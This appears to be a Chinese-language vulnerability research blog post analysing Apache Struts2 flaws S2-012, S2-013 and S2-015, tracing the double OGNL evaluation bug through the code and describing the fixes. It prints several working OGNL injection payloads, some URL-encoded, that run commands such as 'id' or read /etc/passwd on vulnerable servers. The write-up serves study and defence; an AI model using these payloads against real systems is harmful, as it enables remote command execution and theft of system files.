[旧文系列] Struts2历史高危漏洞系列-part3:S2-012/S2-013/S2-015

关于<旧文系列>

<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。

文章首发于奇安信攻防社区:
https://forum.butian.net/share/601
https://forum.butian.net/share/602
https://forum.butian.net/share/603
时间:2021-08-31


前言

尽管现在struts2用的越来越少了,但对于漏洞研究人员来说,感兴趣的是漏洞的成因和漏洞的修复方式,因此还是有很大的学习价值的。毕竟Struts2作为一个很经典的MVC框架,无论对涉及到的框架知识,还是对过去多年出现的高危漏洞的原理进行学习,都会对之后学习和审计其他同类框架很有帮助。

传送门:
[旧文系列] Struts2历史高危漏洞系列-part1:S2-001/S2-003/S2-005
[旧文系列] Struts2历史高危漏洞系列-part2:S2-007/S2-008/S2-009


S2-012

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-012

影响版本:Struts 2.0.0 - Struts 2.3.14.2

漏洞复现与分析

从漏洞公告中获悉漏洞会出现的场景:如果一个Action定义了一个变量比如uname,当触发了redirect类型的返回时,如果重定向的url后面带有?uname=${uname},则在这个过程中会对uname参数的值进行OGNL表达式计算。

下面用vulhub/struts2/s2-012中的应用进行调试分析。

该应用中定义了UserAction,并配置了redirect类型的返回,重定向的地址url为:/index.jsp?name=${name},如下图:
在这里插入图片描述
从漏洞公告中可获悉,漏洞是发生在返回阶段。根据Struts2/XWork的运行主线的可知,ActionInvocation在调度完Action对象后,便会去调度Result对象,如下图:
在这里插入图片描述

关于Struts2的运行主线等原理的详解可参考陆舟的《Struts2技术内幕》

所以,我们可以在Struts2的核心调度对象DefaultActionInvocation中开始调度Result处下断点,如下图:
在这里插入图片描述
继续调试,在StrutsResultSupport#conditionalParse()方法中,出现了一个熟悉的身影:TextParseUtil#translateVariables(),没错,这个方法在S2-001的漏洞触发执行栈中出现过。
在这里插入图片描述
可是S2-001漏洞不是早就被修复了吗,为什么还能通过TextParseUtil#translateVariables()去触发漏洞?

经调试发现,这里与S2-001还是稍有不同,这里调用的是TextParseUtil的一个重载方法,其中,第一个参数是一个char数组。而且如下图可以看到这里传入了包含两个元素的char数组,这就是S2-012为什么可以用S2-001的PoC直接打的关键,继续往下看。
在这里插入图片描述
在这里插入图片描述
可以看到,这里的while(true)循环被放置到一个for循环里了,且for循环的次数由char数组openChars的长度决定,而这里传入的openChars的长度为2,两个元素分别为$%字符。所以下面的while(true)循环会循环两次,第一次是解析${name},解析得到结果后,继续对结果%{xxx}进行解析。因此使得S2-001漏洞重现了。(是不是感觉挺有意思的)

可回显PoC

综上,这里可以直接用S2-001的PoC执行任意命令:

%{#p=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).start(),
#is=#p.getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#arr=new char[50000],
#br.read(#arr),
#str=new java.lang.String(#arr),
#writer=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#writer.println(#str),
#writer.flush(),
#writer.close()}

在这里插入图片描述
如果要使用Runtime#exec()方法来执行命令也可以,不过要添加#_memberAccess.allowStaticMethodAccess=true。前面使用ProcessBuilder#start(),由于不需要调用静态方法,所以无需先将SecurityMemberAccess的allowStaticMethodAccess改为true

%{#_memberAccess.allowStaticMethodAccess=true,
#a=(@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{"cat","/etc/passwd"})),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()}

在这里插入图片描述

漏洞修复

通过比对代码,发现在2.3.14.3版本的OgnlTextParser.java#evaluate()方法里,将位置索引值pos的初始化移到了for循环之前。这样修改,使得第一次OGNL表达式计算后,起始位置pos的值会更新,而不会重新置0,从而避免了二次计算OGNL表达式。
在这里插入图片描述

S2-013

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-013

影响版本:Struts 2.0.0 - Struts 2.3.14.1

漏洞复现与分析

从漏洞公告中可获悉漏洞出现在<s:url><s:a>标签中的includeParams属性。

includeParams属性接收三个值:

  • none:表示url中不包含参数(默认就是none)。
  • get:表示url中只包含GET参数。
  • all:表示url中既包括GET参数也包括POST参数。

<s:url><s:a>标签指定了includeParams属性为getall时,Struts2在处理url的参数时会进行两次OGNL表达式计算,从而导致注入的Java代码执行。

其实这个漏洞和S2-001是类似的,只是这次漏洞时出现在<s:url><s:a>标签的处理过程中而已。

下面使用Struts 2.3.14.1自带的示例程序struts-blank来调试分析。运行应用之前得修改一下首页index.jsp,在<s:url><s:a>标签中添加includeParams="all",如下图:
在这里插入图片描述
跟之前S2-001一样,找到<s:url>对应的类URLTag,在doEndTag()方法中下断点进行调试。

在关键的地方,即执行OGNL表达式计算的类和方法,比如OgnlValueStack#findValue()下断点,一路跟下去,发现在处理url参数的过程中,DefaultUrlHelper#buildParameterSubstring()会调用TextParseUtil#translateVariables(),如下图:
在这里插入图片描述
在这里插入图片描述
后面的漏洞触发流程就跟S2-012一样了。所以这个漏洞其实没什么值得说道的地方,因为跟之前出现的漏洞类似。

可回显PoC

/xxx.action?fakeParam=
%{#_memberAccess.allowStaticMethodAccess=true,
#context['xwork.MethodAccessor.denyMethodExecution']=false,
#is=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),
#br=new java.io.BufferedReader(new java.io.InputStreamReader(#is)),
#res=new char[20000],
#br.read(#res),
#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#writer.println(new java.lang.String(#res)),
#writer.flush(),
#writer.close()}

在这里插入图片描述

漏洞修复

在Struts2的2.3.14.2版本中,DefaultUrlHelper#buildParameterSubstring()没有再调用TextParseUtil.translateVariables()对参数进行处理了。如下图:
在这里插入图片描述

S2-015

官方漏洞公告:

https://cwiki.apache.org/confluence/display/WW/S2-015

影响版本:Struts 2.0.0 - Struts 2.3.14.2

漏洞复现与分析

S2-015实际上包括两处漏洞:

  • Wildcard matching:通配符匹配导致的RCE
  • Double evaluation of an expression:OGNL表达式二次求值导致的RCE

下面使用vulhub/s2-015对该漏洞进行进行调试分析。

Vuln-1: Wildcard matching

struts.xml配置文件中定义了通配符*访问规则,如下图:
在这里插入图片描述
假设请求的url中action名为xxxx,不匹配param,而是匹配通配符*,最终返回/xxxx.jsp页面,如果xxxx.jsp页面存在,则返回页面内容,如果不存在,则返回404报错页面,报错信息中包含有/S2-015/xxxx.jsp

而如果请求的action名是一个OGNL表达式,则会进行计算。最简单的PoC,传入一个${2+3}.action,会发现被进行OGNL表达式计算,然后结果回显在404报错页面中,如下图:
在这里插入图片描述
从现象来看,OGNL表达式的计算也是在调度Result对象时发生的。因此,与S2-012一样,调试时可在DefaultActionInvocation开始调度Result对象时下断点,以及在OGNL表达式计算的关键方法比如OgnlValueStack#findValue()处下断点。

调试过后发现,这个漏洞触发的方法调用栈,跟S2-012是几乎一样的(不同版本代码略有差异)。它会把<result>标签指定的页面地址作为参数,传入TextParseUtil.translateVariables()进行处理,最终会进入一个OGNL执行器ParsedValueEvaluator里进行OGNL表达式计算。
在这里插入图片描述
在这里插入图片描述

Vuln-1 可回显PoC

在Struts2 2.3.14.2版本的SecurityMemberAccess类中,删除了setAllowStaticMethodAccess(),所以我们在构造PoC的时候就不能通过#_memberAccess['allowStaticMethodAccess']=true的方式去获取调用静态方法的能力,但可以通过反射的方式去修改该属性。另外,还可以像前面S2-001里用过的,使用ProcessBuilder#start()方法来执行系统命令,因为这种方式不需要调用静态方法。

这里使用反射修改allowStaticMethodAccess属性的方式,如下:

/S2-015/%25%7b%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23a=@java.lang.Runtime@getRuntime().exec('id'),%23b=%23a.getInputStream(),%23c=new%20java.io.InputStreamReader(%23b),%23d=new%20java.io.BufferedReader(%23c),%23e=new%20char[50000],%23d.read(%23e),new%20java.lang.String(%23e)%7d.action

在这里插入图片描述
这里换一种方式来处理命令执行的结果:使用项目依赖包commons-io里的IOUtils#toString()方法。使用这个方法的好处是,它会根据命令执行结果而返回相应长度的字符串。而不是像上面的方式那样固定的缓冲区。

%25%7B%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23m=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23m.setAccessible(true),%23m.set(%23_memberAccess,true),%23q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())%7D.action

在这里插入图片描述

Vuln-2:Double evaluation of an expression

ParamAction定义如下图,在该action中定义了message属性以及set/get方法。在struts.xml中还定义了success返回时的方式,使用了${message}去引用message属性的值。
在这里插入图片描述
在这里插入图片描述
其实这个漏洞本质上与S2-012是一样的,也是在定义Result的行为时,引用了Action的属性值,而Struts2在调度Result对象的过程中,会对Action的属性引用值进行二次OGNL表达式计算,从而导致可RCE。

因为是result的类型是httpheader,所以实际调度的Result对象其实是HttpHeaderResult对象。
在这里插入图片描述
然后在HttpHeaderResult#execute()方法中,会将参数fxxk的值${message}传入TextParseUtil#translateVariables()进行OGNL表达式求值,后面的方法调用栈就和S2-012一样了,就不再详细说了:第一次先计算${message},得到我们传入的OGNL表达式%{xxxyyyzzz...}。第二次则计算%{xxxyyyzzz...}并得到结果,并在响应头fxxk中显示。
在这里插入图片描述

Vuln-2 可回显PoC

在这里插入图片描述

漏洞修复

针对 Vuln-1:Wildcard matching 的漏洞修复

通过正则表达式对action名进行了校验,将不在白名单里的字符给去掉。新版本的关键修复代码如下图:
在这里插入图片描述
在这里插入图片描述

针对 Vuln-2:Double evaluation of an expression 的漏洞修复

通过比对代码,发现在2.3.14.3版本的OgnlTextParser.java#evaluate()方法里,将位置索引值pos的初始化移到了for循环之前。这样修改,使得第一次OGNL表达式计算后,起始位置pos的值会更新,而不会重新置0,从而避免了二次计算OGNL表达式。
在这里插入图片描述

Reference

[1] hxxp://vulapps.evalbug.com/tags/#struts2
[2] hxxps://github.com/vulhub/vulhub/tree/master/struts2
[3] hxxps://securitylab.github.com/research/ognl-apache-struts-exploit-CVE-2018-11776/
[4] hxxps://securitylab.github.com/research/apache-struts-CVE-2018-11776/
[5] 《Struts2技术内幕:深入解析Struts2架构设计与实现原理》- 作者:陆舟
[6] hxxps://i.blackhat.com/USA-20/Wednesday/us-20-Munoz-Room-For-Escape-Scribbling-Outside-The-Lines-Of-Template-Security-wp.pdf

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值